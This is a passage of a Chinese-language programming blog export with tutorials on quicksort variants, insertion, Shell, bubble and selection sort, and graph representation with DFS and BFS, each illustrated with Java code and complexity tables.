title="3.5 双路快排（处理大量重复元素）"></a>3.5 双路快排（处理大量重复元素）</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">partition2Way</span><span class="params">(<span class="type">int</span>[] arr, <span class="type">int</span> left, <span class="type">int</span> right)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">pivot</span> <span class="operator">=</span> arr[left];</span><br><span class="line">    <span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> left + <span class="number">1</span>, j = right;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">        <span class="keyword">while</span> (i &lt;= right &amp;&amp; arr[i] &lt; pivot) i++;</span><br><span class="line">        <span class="keyword">while</span> (j &gt;= left + <span class="number">1</span> &amp;&amp; arr[j] &gt; pivot) j--;</span><br><span class="line">        <span class="keyword">if</span> (i &gt; j) <span class="keyword">break</span>;</span><br><span class="line">        swap(arr, i++, j--);</span><br><span class="line">    &#125;</span><br><span class="line">    swap(arr, left, j);</span><br><span class="line">    <span class="keyword">return</span> j;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-6-三路快排（大量重复元素最优）"><a href="#3-6-三路快排（大量重复元素最优）" class="headerlink" title="3.6 三路快排（大量重复元素最优）"></a>3.6 三路快排（大量重复元素最优）</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">void</span> <span class="title function_">quickSort3Way</span><span class="params">(<span class="type">int</span>[] arr, <span class="type">int</span> left, <span class="type">int</span> right)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (left &gt;= right) <span class="keyword">return</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="type">int</span> <span class="variable">pivot</span> <span class="operator">=</span> arr[left];</span><br><span class="line">    <span class="type">int</span> <span class="variable">lt</span> <span class="operator">=</span> left, gt = right, i = left + <span class="number">1</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> (i &lt;= gt) &#123;</span><br><span class="line">        <span class="keyword">if</span> (arr[i] &lt; pivot) swap(arr, i++, lt++);</span><br><span class="line">        <span class="keyword">else</span> <span class="keyword">if</span> (arr[i] &gt; pivot) swap(arr, i, gt--);</span><br><span class="line">        <span class="keyword">else</span> i++;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    quickSort3Way(arr, left, lt - <span class="number">1</span>);</span><br><span class="line">    quickSort3Way(arr, gt + <span class="number">1</span>, right);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-7-复杂度分析"><a href="#3-7-复杂度分析" class="headerlink" title="3.7 复杂度分析"></a>3.7 复杂度分析</h3><table><thead><tr><th>情况</th><th>时间复杂度</th><th>说明</th></tr></thead><tbody><tr><td>最好</td><td>( O(n \log n) )</td><td>每次均匀划分</td></tr><tr><td>最坏</td><td>( O(n^2) )</td><td>已排序且选端点为pivot</td></tr><tr><td>平均</td><td>( O(n \log n) )</td><td>随机化后</td></tr><tr><td>空间</td><td>( O(\log n) )</td><td>递归栈</td></tr><tr><td>稳定性</td><td><strong>不稳定</strong></td><td>交换改变相对位置</td></tr></tbody></table><h2 id="四、归并-vs-快速排序"><a href="#四、归并-vs-快速排序" class="headerlink" title="四、归并 vs 快速排序"></a>四、归并 vs 快速排序</h2><table><thead><tr><th>特性</th><th>归并排序</th><th>快速排序</th></tr></thead><tbody><tr><td>最好时间</td><td>( O(n \log n) )</td><td>( O(n \log n) )</td></tr><tr><td>最坏时间</td><td>( O(n \log n) )</td><td>( O(n^2) )</td></tr><tr><td>平均时间</td><td>( O(n \log n) )</td><td>( O(n \log n) )</td></tr><tr><td>空间</td><td>( O(n) )</td><td>( O(\log n) )</td></tr><tr><td>稳定性</td><td>稳定</td><td>不稳定</td></tr><tr><td>适用</td><td>链表排序、外部排序</td><td>数组排序、通用</td></tr><tr><td>缓存友好</td><td>一般</td><td>较好</td></tr></tbody></table><h2 id="五、Java中的排序"><a href="#五、Java中的排序" class="headerlink" title="五、Java中的排序"></a>五、Java中的排序</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// Arrays.sort() 对基本类型：Dual-Pivot Quicksort</span></span><br><span class="line"><span class="comment">// 对对象类型：Timsort（归并排序的优化版）</span></span><br><span class="line">Arrays.sort(intArray);</span><br><span class="line">Arrays.sort(objectArray);</span><br><span class="line"></span><br><span class="line"><span class="comment">// Collections.sort() 基于Timsort</span></span><br><span class="line">Collections.sort(list);</span><br></pre></td></tr></table></figure><p>对象类型用Timsort（稳定），基本类型用快排（更快，不稳定性无关）。</p><h2 id="六、总结"><a href="#六、总结" class="headerlink" title="六、总结"></a>六、总结</h2><p>归并排序和快速排序都是分治的经典应用。归并排序稳定且最坏情况有保证，但需要额外空间。快速排序原地排序、缓存友好，是实际中最常用的排序算法。理解两者差异，才能在不同场景做出正确选择。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 算法 </tag>
            
            <tag> 排序 </tag>
            
            <tag> 分治 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>排序算法插入与希尔</title>
      <link href="//sorting-insertion-shell/"/>
      <url>//sorting-insertion-shell/</url>
      
        <content type="html"><![CDATA[<h2 id="一、插入排序"><a href="#一、插入排序" class="headerlink" title="一、插入排序"></a>一、插入排序</h2><h3 id="1-1-核心思想"><a href="#1-1-核心思想" class="headerlink" title="1.1 核心思想"></a>1.1 核心思想</h3><p>将元素逐个插入到已排序序列的合适位置，就像整理扑克牌。</p><h3 id="1-2-实现"><a href="#1-2-实现" class="headerlink" title="1.2 实现"></a>1.2 实现</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">insertionSort</span><span class="params">(<span class="type">int</span>[] arr)</span> &#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">1</span>; i &lt; arr.length; i++) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">key</span> <span class="operator">=</span> arr[i];</span><br><span class="line">        <span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> i - <span class="number">1</span>;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 将大于key的元素后移</span></span><br><span class="line">        <span class="keyword">while</span> (j &gt;= <span class="number">0</span> &amp;&amp; arr[j] &gt; key) &#123;</span><br><span class="line">            arr[j + <span class="number">1</span>] = arr[j];</span><br><span class="line">            j--;</span><br><span class="line">        &#125;</span><br><span class="line">        arr[j + <span class="number">1</span>] = key;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="1-3-复杂度分析"><a href="#1-3-复杂度分析" class="headerlink" title="1.3 复杂度分析"></a>1.3 复杂度分析</h3><table><thead><tr><th>情况</th><th>时间复杂度</th><th>说明</th></tr></thead><tbody><tr><td>最好</td><td>( O(n) )</td><td>已排序，每次比较1次</td></tr><tr><td>最坏</td><td>( O(n^2) )</td><td>逆序</td></tr><tr><td>平均</td><td>( O(n^2) )</td><td></td></tr><tr><td>空间</td><td>( O(1) )</td><td></td></tr><tr><td>稳定性</td><td><strong>稳定</strong></td><td></td></tr></tbody></table><h3 id="1-4-部分有序的优势"><a href="#1-4-部分有序的优势" class="headerlink" title="1.4 部分有序的优势"></a>1.4 部分有序的优势</h3><p>插入排序对<strong>部分有序</strong>数组非常高效：</p><ul><li>每个元素距离最终位置不远</li><li>实际比较和移动次数远小于 ( O(n^2) )</li></ul><h3 id="1-5-二分优化"><a href="#1-5-二分优化" class="headerlink" title="1.5 二分优化"></a>1.5 二分优化</h3><p>查找插入位置时使用二分查找：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">binaryInsertionSort</span><span class="params">(<span class="type">int</span>[] arr)</span> &#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">1</span>; i &lt; arr.length; i++) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">key</span> <span class="operator">=</span> arr[i];</span><br><span class="line">        <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = i - <span class="number">1</span>;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 二分查找插入位置</span></span><br><span class="line">        <span class="keyword">while</span> (left &lt;= right) &#123;</span><br><span class="line">            <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">            <span class="keyword">if</span> (arr[mid] &gt; key) right = mid - <span class="number">1</span>;</span><br><span class="line">            <span class="keyword">else</span> left = mid + <span class="number">1</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 移动元素</span></span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> i - <span class="number">1</span>; j &gt;= left; j--) &#123;</span><br><span class="line">            arr[j + <span class="number">1</span>] = arr[j];</span><br><span class="line">        &#125;</span><br><span class="line">        arr[left] = key;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>比较次数降为 ( O(n \log n) )，但移动仍是 ( O(n^2) )。</p><h2 id="二、希尔排序"><a href="#二、希尔排序" class="headerlink" title="二、希尔排序"></a>二、希尔排序</h2><h3 id="2-1-核心思想"><a href="#2-1-核心思想" class="headerlink" title="2.1 核心思想"></a>2.1 核心思想</h3><p>插入排序的改进版。先让<strong>相距较远的元素</strong>有序，再逐步缩小间隔，最终间隔为1时就是普通插入排序。</p><h3 id="2-2-为什么有效"><a href="#2-2-为什么有效" class="headerlink" title="2.2 为什么有效"></a>2.2 为什么有效</h3><ul><li>远距离交换让元素快速接近最终位置</li><li>最后一步插入排序时，数组已基本有序</li></ul><h3 id="2-3-实现"><a href="#2-3-实现" class="headerlink" title="2.3 实现"></a>2.3 实现</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">shellSort</span><span class="params">(<span class="type">int</span>[] arr)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">n</span> <span class="operator">=</span> arr.length;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 增量序列：n/2, n/4, ..., 1</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">gap</span> <span class="operator">=</span> n / <span class="number">2</span>; gap &gt; <span class="number">0</span>; gap /= <span class="number">2</span>) &#123;</span><br><span class="line">        <span class="comment">// 对每个子序列进行插入排序</span></span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> gap; i &lt; n; i++) &#123;</span><br><span class="line">            <span class="type">int</span> <span class="variable">key</span> <span class="operator">=</span> arr[i];</span><br><span class="line">            <span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> i;</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">while</span> (j &gt;= gap &amp;&amp; arr[j - gap] &gt; key) &#123;</span><br><span class="line">                arr[j] = arr[j - gap];</span><br><span class="line">                j -= gap;</span><br><span class="line">            &#125;</span><br><span class="line">            arr[j] = key;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-4-增量序列"><a href="#2-4-增量序列" class="headerlink" title="2.4 增量序列"></a>2.4 增量序列</h3><p>不同增量序列影响复杂度：</p><table><thead><tr><th>增量序列</th><th>最坏复杂度</th></tr></thead><tbody><tr><td>( n/2, n/4, … )</td><td>( O(n^2) )</td></tr><tr><td>Hibbard: ( 2^k-1 )</td><td>( O(n^{3/2}) )</td></tr><tr><td>Sedgewick</td><td>( O(n^{4/3}) )</td></tr></tbody></table><h3 id="2-5-复杂度"><a href="#2-5-复杂度" class="headerlink" title="2.5 复杂度"></a>2.5 复杂度</h3><table><thead><tr><th>情况</th><th>时间复杂度</th></tr></thead><tbody><tr><td>最好</td><td>( O(n \log n) ) ~ ( O(n \log^2 n) )</td></tr><tr><td>最坏</td><td>( O(n^2) ) ~ ( O(n^{4/3}) )</td></tr><tr><td>平均</td><td>取决于增量序列</td></tr><tr><td>空间</td><td>( O(1) )</td></tr><tr><td>稳定性</td><td><strong>不稳定</strong></td></tr></tbody></table><h2 id="三、总结"><a href="#三、总结" class="headerlink" title="三、总结"></a>三、总结</h2><table><thead><tr><th>特性</th><th>插入排序</th><th>希尔排序</th></tr></thead><tbody><tr><td>最好时间</td><td>( O(n) )</td><td>( O(n \log n) )</td></tr><tr><td>最坏时间</td><td>( O(n^2) )</td><td>( O(n^2) ) ~ ( O(n^{4/3}) )</td></tr><tr><td>空间</td><td>( O(1) )</td><td>( O(1) )</td></tr><tr><td>稳定性</td><td>稳定</td><td>不稳定</td></tr><tr><td>适用</td><td>小数据、部分有序</td><td>中等数据</td></tr></tbody></table><p>插入排序简单高效，尤其适合部分有序数据。希尔排序通过增量序列优化，是首个突破 ( O(n^2) ) 的排序算法，虽然不如快速排序常用，但在某些场景仍有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 算法 </tag>
            
            <tag> 排序 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>排序算法冒泡与选择</title>
      <link href="//sorting-bubble-selection/"/>
      <url>//sorting-bubble-selection/</url>
      
        <content type="html"><![CDATA[<h2 id="一、排序算法概述"><a href="#一、排序算法概述" class="headerlink" title="一、排序算法概述"></a>一、排序算法概述</h2><h3 id="1-1-评价维度"><a href="#1-1-评价维度" class="headerlink" title="1.1 评价维度"></a>1.1 评价维度</h3><ul><li><strong>时间复杂度</strong>：最好、最坏、平均</li><li><strong>空间复杂度</strong>：原地排序 vs 需要额外空间</li><li><strong>稳定性</strong>：相等元素排序后相对位置是否改变</li><li><strong>比较次数</strong>、<strong>交换次数</strong></li></ul><h3 id="1-2-分类"><a href="#1-2-分类" class="headerlink" title="1.2 分类"></a>1.2 分类</h3><table><thead><tr><th>类型</th><th>算法</th></tr></thead><tbody><tr><td>( O(n^2) )</td><td>冒泡、选择、插入</td></tr><tr><td>( O(n \log n) )</td><td>快速、归并、堆</td></tr><tr><td>( O(n) )</td><td>计数、基数、桶</td></tr></tbody></table><h2 id="二、冒泡排序"><a href="#二、冒泡排序" class="headerlink" title="二、冒泡排序"></a>二、冒泡排序</h2><h3 id="2-1-核心思想"><a href="#2-1-核心思想" class="headerlink" title="2.1 核心思想"></a>2.1 核心思想</h3><p>重复遍历数组，相邻元素两两比较，大的往后”冒泡”。</p><h3 id="2-2-基础实现"><a href="#2-2-基础实现" class="headerlink" title="2.2 基础实现"></a>2.2 基础实现</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">bubbleSort</span><span class="params">(<span class="type">int</span>[] arr)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">n</span> <span class="operator">=</span> arr.length;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; n - <span class="number">1</span>; i++) &#123;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> <span class="number">0</span>; j &lt; n - <span class="number">1</span> - i; j++) &#123;</span><br><span class="line">            <span class="keyword">if</span> (arr[j] &gt; arr[j + <span class="number">1</span>]) &#123;</span><br><span class="line">                swap(arr, j, j + <span class="number">1</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-3-优化版-提前终止"><a href="#2-3-优化版-提前终止" class="headerlink" title="2.3 优化版 - 提前终止"></a>2.3 优化版 - 提前终止</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">bubbleSortOptimized</span><span class="params">(<span class="type">int</span>[] arr)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">n</span> <span class="operator">=</span> arr.length;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; n - <span class="number">1</span>; i++) &#123;</span><br><span class="line">        <span class="type">boolean</span> <span class="variable">swapped</span> <span class="operator">=</span> <span class="literal">false</span>;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> <span class="number">0</span>; j &lt; n - <span class="number">1</span> - i; j++) &#123;</span><br><span class="line">            <span class="keyword">if</span> (arr[j] &gt; arr[j + <span class="number">1</span>]) &#123;</span><br><span class="line">                swap(arr, j, j + <span class="number">1</span>);</span><br><span class="line">                swapped = <span class="literal">true</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (!swapped) <span class="keyword">break</span>;  <span class="comment">// 无交换说明已排序</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-4-进一步优化-记录最后交换位置"><a href="#2-4-进一步优化-记录最后交换位置" class="headerlink" title="2.4 进一步优化 - 记录最后交换位置"></a>2.4 进一步优化 - 记录最后交换位置</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">bubbleSortAdvanced</span><span class="params">(<span class="type">int</span>[] arr)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">n</span> <span class="operator">=</span> arr.length;</span><br><span class="line">    <span class="type">int</span> <span class="variable">sortedBoundary</span> <span class="operator">=</span> n - <span class="number">1</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> (sortedBoundary &gt; <span class="number">0</span>) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">lastSwap</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> <span class="number">0</span>; j &lt; sortedBoundary; j++) &#123;</span><br><span class="line">            <span class="keyword">if</span> (arr[j] &gt; arr[j + <span class="number">1</span>]) &#123;</span><br><span class="line">                swap(arr, j, j + <span class="number">1</span>);</span><br><span class="line">                lastSwap = j;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        sortedBoundary = lastSwap;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-5-复杂度分析"><a href="#2-5-复杂度分析" class="headerlink" title="2.5 复杂度分析"></a>2.5 复杂度分析</h3><table><thead><tr><th>情况</th><th>时间复杂度</th><th>说明</th></tr></thead><tbody><tr><td>最好</td><td>( O(n) )</td><td>已排序，优化版一次遍历</td></tr><tr><td>最坏</td><td>( O(n^2) )</td><td>逆序</td></tr><tr><td>平均</td><td>( O(n^2) )</td><td></td></tr><tr><td>空间</td><td>( O(1) )</td><td>原地排序</td></tr><tr><td>稳定性</td><td><strong>稳定</strong></td><td>相等不交换</td></tr></tbody></table><h2 id="三、选择排序"><a href="#三、选择排序" class="headerlink" title="三、选择排序"></a>三、选择排序</h2><h3 id="3-1-核心思想"><a href="#3-1-核心思想" class="headerlink" title="3.1 核心思想"></a>3.1 核心思想</h3><p>每轮选择剩余元素中最小（或最大）的，放到已排序序列末尾。</p><h3 id="3-2-实现"><a href="#3-2-实现" class="headerlink" title="3.2 实现"></a>3.2 实现</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">selectionSort</span><span class="params">(<span class="type">int</span>[] arr)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">n</span> <span class="operator">=</span> arr.length;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; n - <span class="number">1</span>; i++) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">minIdx</span> <span class="operator">=</span> i;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> i + <span class="number">1</span>; j &lt; n; j++) &#123;</span><br><span class="line">            <span class="keyword">if</span> (arr[j] &lt; arr[minIdx]) &#123;</span><br><span class="line">                minIdx = j;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (minIdx != i) &#123;</span><br><span class="line">            swap(arr, i, minIdx);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-3-复杂度分析"><a href="#3-3-复杂度分析" class="headerlink" title="3.3 复杂度分析"></a>3.3 复杂度分析</h3><table><thead><tr><th>情况</th><th>时间复杂度</th><th>说明</th></tr></thead><tbody><tr><td>最好</td><td>( O(n^2) )</td><td>仍需比较</td></tr><tr><td>最坏</td><td>( O(n^2) )</td><td></td></tr><tr><td>平均</td><td>( O(n^2) )</td><td></td></tr><tr><td>空间</td><td>( O(1) )</td><td>原地排序</td></tr><tr><td>稳定性</td><td><strong>不稳定</strong></td><td>交换可能改变相对位置</td></tr></tbody></table><p><strong>不稳定性示例</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">[5a, 8, 5b, 2] → 选择2和5a交换</span><br><span class="line">[2, 8, 5b, 5a] → 5a和5b相对位置改变</span><br></pre></td></tr></table></figure><h3 id="3-4-交换次数优势"><a href="#3-4-交换次数优势" class="headerlink" title="3.4 交换次数优势"></a>3.4 交换次数优势</h3><p>选择排序最多 ( n - 1 ) 次交换，适合<strong>交换成本高</strong>的场景（如链表）。</p><h2 id="四、两种算法对比"><a href="#四、两种算法对比" class="headerlink" title="四、两种算法对比"></a>四、两种算法对比</h2><table><thead><tr><th>特性</th><th>冒泡排序</th><th>选择排序</th></tr></thead><tbody><tr><td>最好时间</td><td>( O(n) )</td><td>( O(n^2) )</td></tr><tr><td>最坏时间</td><td>( O(n^2) )</td><td>( O(n^2) )</td></tr><tr><td>平均时间</td><td>( O(n^2) )</td><td>( O(n^2) )</td></tr><tr><td>空间</td><td>( O(1) )</td><td>( O(1) )</td></tr><tr><td>稳定性</td><td>稳定</td><td>不稳定</td></tr><tr><td>交换次数</td><td>多</td><td>少</td></tr><tr><td>适用</td><td>小数据、基本有序</td><td>交换成本高</td></tr></tbody></table><h2 id="五、总结"><a href="#五、总结" class="headerlink" title="五、总结"></a>五、总结</h2><p>冒泡排序和选择排序都是 ( O(n^2) ) 的基础排序。冒泡排序通过优化可以在基本有序时达到 ( O(n) )，但交换次数多。选择排序交换次数最少，但不稳定。两者都只适合教学和小规模数据，实际中通常使用 ( O(n \log n) ) 的排序算法。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 算法 </tag>
            
            <tag> 排序 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>图的基本表示与遍历</title>
      <link href="//graph-representation-traversal/"/>
      <url>//graph-representation-traversal/</url>
      
        <content type="html"><![CDATA[<h2 id="一、图的基本概念"><a href="#一、图的基本概念" class="headerlink" title="一、图的基本概念"></a>一、图的基本概念</h2><h3 id="1-1-定义"><a href="#1-1-定义" class="headerlink" title="1.1 定义"></a>1.1 定义</h3><p>图 ( G = (V, E) )，由<strong>顶点集</strong> ( V ) 和<strong>边集</strong> ( E ) 组成。</p><h3 id="1-2-分类"><a href="#1-2-分类" class="headerlink" title="1.2 分类"></a>1.2 分类</h3><table><thead><tr><th>类型</th><th>特性</th></tr></thead><tbody><tr><td>有向图</td><td>边有方向</td></tr><tr><td>无向图</td><td>边无方向</td></tr><tr><td>加权图</td><td>边有权重</td></tr><tr><td>无权图</td><td>边无权重</td></tr></tbody></table><h2 id="二、图的表示"><a href="#二、图的表示" class="headerlink" title="二、图的表示"></a>二、图的表示</h2><h3 id="2-1-邻接矩阵"><a href="#2-1-邻接矩阵" class="headerlink" title="2.1 邻接矩阵"></a>2.1 邻接矩阵</h3><p>( n \times n ) 矩阵，( adj[i][j] = 1 ) 表示 ( i ) 到 ( j ) 有边。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span>[][] adj = <span class="keyword">new</span> <span class="title class_">int</span>[n][n];</span><br><span class="line">adj[u][v] = <span class="number">1</span>;  <span class="comment">// u -&gt; v 有边</span></span><br></pre></td></tr></table></figure><p><strong>优点</strong>：( O(1) ) 判断边是否存在<br><strong>缺点</strong>：空间 ( O(n^2) )，稀疏图浪费</p><h3 id="2-2-邻接表"><a href="#2-2-邻接表" class="headerlink" title="2.2 邻接表"></a>2.2 邻接表</h3><p>每个顶点维护一个邻接顶点列表。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;Integer&gt;[] adj = <span class="keyword">new</span> <span class="title class_">ArrayList</span>[n];</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; n; i++) adj[i] = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">adj[u].add(v);  <span class="comment">// u -&gt; v</span></span><br></pre></td></tr></table></figure><p><strong>优点</strong>：空间 ( O(V + E) )，适合稀疏图<br><strong>缺点</strong>：判断边是否存在需遍历</p><h2 id="三、深度优先搜索-DFS"><a href="#三、深度优先搜索-DFS" class="headerlink" title="三、深度优先搜索(DFS)"></a>三、深度优先搜索(DFS)</h2><h3 id="3-1-思想"><a href="#3-1-思想" class="headerlink" title="3.1 思想"></a>3.1 思想</h3><p>沿着一条路径走到底，回溯后再走其他路径。</p><h3 id="3-2-递归实现"><a href="#3-2-递归实现" class="headerlink" title="3.2 递归实现"></a>3.2 递归实现</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">boolean</span>[] visited;</span><br><span class="line"></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">dfs</span><span class="params">(<span class="type">int</span> v, List&lt;Integer&gt;[] adj)</span> &#123;</span><br><span class="line">    visited[v] = <span class="literal">true</span>;</span><br><span class="line">    System.out.println(v);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> u : adj[v]) &#123;</span><br><span class="line">        <span class="keyword">if</span> (!visited[u]) &#123;</span><br><span class="line">            dfs(u, adj);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-3-迭代实现"><a href="#3-3-迭代实现" class="headerlink" title="3.3 迭代实现"></a>3.3 迭代实现</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">void</span> <span class="title function_">dfsIterative</span><span class="params">(<span class="type">int</span> start, List&lt;Integer&gt;[] adj)</span> &#123;</span><br><span class="line">    <span class="type">boolean</span>[] visited = <span class="keyword">new</span> <span class="title class_">boolean</span>[adj.length];</span><br><span class="line">    Deque&lt;Integer&gt; stack = <span class="keyword">new</span> <span class="title class_">ArrayDeque</span>&lt;&gt;();</span><br><span class="line">    stack.push(start);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> (!stack.isEmpty()) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">v</span> <span class="operator">=</span> stack.pop();</span><br><span class="line">        <span class="keyword">if</span> (visited[v]) <span class="keyword">continue</span>;</span><br><span class="line">        visited[v] = <span class="literal">true</span>;</span><br><span class="line">        System.out.println(v);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> u : adj[v]) &#123;</span><br><span class="line">            <span class="keyword">if</span> (!visited[u]) stack.push(u);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-4-DFS应用"><a href="#3-4-DFS应用" class="headerlink" title="3.4 DFS应用"></a>3.4 DFS应用</h3><ul><li><strong>连通分量</strong>：统计图中的连通块</li><li><strong>拓扑排序</strong>：检测有向环</li><li><strong>路径搜索</strong>：找两点间路径</li></ul><h2 id="四、广度优先搜索-BFS"><a href="#四、广度优先搜索-BFS" class="headerlink" title="四、广度优先搜索(BFS)"></a>四、广度优先搜索(BFS)</h2><h3 id="4-1-思想"><a href="#4-1-思想" class="headerlink" title="4.1 思想"></a>4.1 思想</h3><p>按层遍历，先访问所有邻居，再访问邻居的邻居。</p><h3 id="4-2-实现"><a href="#4-2-实现" class="headerlink" title="4.2 实现"></a>4.2 实现</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">void</span> <span class="title function_">bfs</span><span class="params">(<span class="type">int</span> start, List&lt;Integer&gt;[] adj)</span> &#123;</span><br><span class="line">    <span class="type">boolean</span>[] visited = <span class="keyword">new</span> <span class="title class_">boolean</span>[adj.length];</span><br><span class="line">    Queue&lt;Integer&gt; queue = <span class="keyword">new</span> <span class="title class_">LinkedList</span>&lt;&gt;();</span><br><span class="line">    </span><br><span class="line">    visited[start] = <span class="literal">true</span>;</span><br><span class="line">    queue.offer(start);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> (!queue.isEmpty()) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">v</span> <span class="operator">=</span> queue.poll();</span><br><span class="line">        System.out.println(v);</span><br><span class="line">        </span><br><span class="line">        <span 